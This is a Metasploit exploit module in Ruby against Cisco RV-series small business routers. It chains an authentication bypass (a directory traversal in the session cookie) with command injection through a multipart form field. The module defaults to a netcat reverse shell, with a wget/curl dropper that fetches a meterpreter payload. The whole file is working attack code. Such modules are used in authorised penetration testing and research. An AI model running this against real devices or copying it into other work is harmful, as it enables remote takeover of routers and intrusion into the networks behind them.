##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Cisco RV Series Authentication Bypass and Command Injection',
        'Description' => %q{
          This module exploits two vulnerabilities, a session ID directory traversal authentication
          bypass (CVE-2022-20705) and a command injection vulnerability (CVE-2022-20707), on Cisco RV160, RV260, RV340,
          and RV345 Small Business Routers, allowing attackers to execute arbitrary commands with www-data user privileges.
          This access can then be used to pivot to other parts of the network. This module works on firmware
          versions 1.0.03.24 and below.
        },
        'License' => MSF_LICENSE,
        'Platform' => ['linux', 'unix'],
        'Author' => [
          'Biem Pham',  # Vulnerability Discoveries
          'Neterum',    # Metasploit Module
          'jbaines-r7'  # Inspired from cisco_rv_series_authbypass_and_rce.rb
        ],
        'DisclosureDate' => '2021-11-02',
        'Arch' => [ARCH_CMD, ARCH_ARMLE],
        'References' => [
          ['CVE', '2022-20705'], # Authentication Bypass
          ['CVE', '2022-20707'], # Command Injection
          ['ZDI', '22-410'], # Authentication Bypass
          ['ZDI', '22-411']  # Command Injection
        ],
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'Payload' => {
                'BadChars' => '\'#'
              },
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_netcat'
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_ARMLE],
              'Type' => :linux_dropper,
              'Payload' => {
                'BadChars' => '\'#'
              },
              'CmdStagerFlavor' => [ 'wget', 'curl' ],
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true,
          'MeterpreterTryToFork' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )
    register_options(
      [
        OptString.new('TARGETURI', [true, 'Base path', '/'])
      ]
    )
  end

  # sessionid utilized later needs to be set to length
  # of 16 or exploit will fail. Tested with lengths
  # 14-17
  def generate_session_id
    return Rex::Text.rand_text_alphanumeric(16)
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => '/upload',
      'headers' => {
        'Cookie' => 'sessionid =../../www/index.html; sessionid=' + generate_session_id
      }
    }, 10)

    # A proper "upload" will trigger file creation. So the send_request_cgi call
    # above is an incorrect "upload" call to avoid creating a file on disk. The router will return
    # status code 405 Not Allowed if authentication has been bypassed by the above request.
    # The firmware containing this authentication bypass also contains the command injection
    # vulnerability that will be abused during actual exploitation. Non-vulnerable
    # firmware versions will respond with 403 Forbidden.
    if res.nil?
      return CheckCode::Unknown('The device did not respond to request packet.')
    elsif res.code == 405
      return CheckCode::Appears('The device is vulnerable to authentication bypass. Likely also vulnerable to command injection.')
    elsif res.code == 403
      return CheckCode::Safe('The device is not vulnerable to exploitation.')
    else # Catch-all
      return CheckCode::Unknown('The target responded in an unexpected way. Exploitation is unlikely.')
    end
  end

  def execute_command(cmd, _opts = {})
    res = send_exploit(cmd)

    # Successful unix_cmd shells should not produce a response.
    # However if a response is returned, check the status code and return
    # Failure::NotVulnerable if it is 403 Forbidden.
    if target['Type'] == :unix_cmd && res&.code == 403
      fail_with(Failure::NotVulnerable, 'The target responded with 403 Forbidden and is not vulnerable')
    end

    if target['Type'] == :linux_dropper
      fail_with(Failure::Unreachable, 'The target did not respond') unless res
      fail_with(Failure::UnexpectedReply, 'The target did not respond with a 200 OK') unless res&.code == 200
      begin
        body_json = res.get_json_document
        fail_with(Failure::UnexpectedReply, 'The target did not respond with a JSON body') unless body_json
      rescue JSON::ParserError => e
        print_error("Failed: #{e.class} - #{e.message}")
        fail_with(Failure::UnexpectedReply, 'Failed to parse the response returned from the server! Its possible the response may not be JSON!')
      end
    end

    print_good('Exploit successfully executed.')
  end

  def send_exploit(cmd)
    filename = Rex::Text.rand_text_alphanumeric(5..12)
    fileparam = Rex::Text.rand_text_alphanumeric(5..12)
    input = Rex::Text.rand_text_alphanumeric(5..12)

    # sessionid utilized later needs to be set to length
    # of 16 or exploit will fail. Tested with lengths
    # 14-17
    sessionid = Rex::Text.rand_text_alphanumeric(16)

    filepath = '/tmp/upload.input' # This file must exist and be writeable by www-data so we just use the temporary upload file to prevent issues.
    pathparam = 'Configuration'

    destination = "'; " + cmd + ' #'

    multipart_form = Rex::MIME::Message.new
    multipart_form.add_part(filepath, nil, nil, 'form-data; name="file.path"')
    multipart_form.add_part(filename, nil, nil, 'form-data; name="filename"')
    multipart_form.add_part(pathparam, nil, nil, 'form-data; name="pathparam"')
    multipart_form.add_part(fileparam, nil, nil, 'form-data; name="fileparam"')
    multipart_form.add_part(destination, nil, nil, 'form-data; name="destination"')
    multipart_form.add_part(input, 'application/octet-stream', nil, format('form-data; name="input"; filename="%<filename>s"', filename: filename))

    # Escaping "/tmp/upload/" folder that does not contain any other permanent files
    send_request_cgi({
      'method' => 'POST',
      'uri' => '/upload',
      'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}",
      'headers' => {
        'Cookie' => 'sessionid =../../www/index.html; sessionid=' + sessionid
      },
      'data' => multipart_form.to_s
    }, 10)
  end

  def exploit
    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager(linemax: 120)
    end
  end
end
